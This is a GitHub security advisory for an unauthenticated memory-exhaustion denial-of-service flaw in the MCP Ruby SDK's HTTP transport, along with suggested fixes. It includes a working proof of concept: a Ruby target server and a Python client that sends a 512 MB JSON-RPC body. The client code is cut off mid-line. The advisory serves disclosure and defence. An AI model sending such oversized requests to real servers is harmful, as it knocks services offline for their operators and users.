GitHub Advisoryadvisory · RubyGems

GHSA-h669-8m4g-r2hc MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

HIGH Published 2026-07-30 Modified 2026-07-30 Official page ↗
Aliases
CVE-2026-67432
Ecosystem
RubyGems
Packages
mcp
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-770
Reviewed
2026-07-30

Affected packages

• RubyGems mcp: < 0.23.0 → fixed in 0.23.0

Description

Summary An unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process. Affected component `lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`: • Line 341: `body_string = request.body.read` — reads the full HTTP body into memory with no upper bound. • Lines 531–535: `JSON.parse(body_string, symbolize_names: true)` — fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol. The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication. A second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports. Proof of concept Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (`rack ~> 3.2`, `rackup >= 2.1.0`, `webrick ~> 1.9`) and Python's standard library. Server (`oom_poc_server.rb`) ```ruby require "bundler/setup" require "mcp" require "mcp/server/transports/streamable_http_transport" require "rackup" require "webrick" require "rackup/handler/webrick" server = MCP::Server.new(name: "oom-poc-target", tools: []) transport = MCP::Server::Transports::StreamableHTTPTransport.new( server, stateless: true, enable_json_response: true, ) Thread.new do loop do rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024 STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB") sleep 2 end end STDERR.puts("[poc] listening on http://127.0.0.1:9293/") Rackup::Handler::WEBrick.run( transport, Host: "127.0.0.1", Port: 9293, AccessLog: [], Logger: WEBrick::Log.new(File::NULL), ) ``` Client (`oom_poc_client.py`) ```python import socket HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512 inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64) body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}' headers = ( f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n" f"Content-Type: application/json\r\n" f"Accept: application/json, text/event-stream\r\n" f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n" ).encode() s = socket.create_connection((HOST, PORT), timeout=120) s.sendall(headers) for i in range(0, len(body), 1 Impact • Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction. • Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours. • Affected deployments: every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app — the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected. Suggested mitigation 1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`. 2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`. 3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.

Related

Alias · CVE (1)

  • CVE-2026-67432 MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References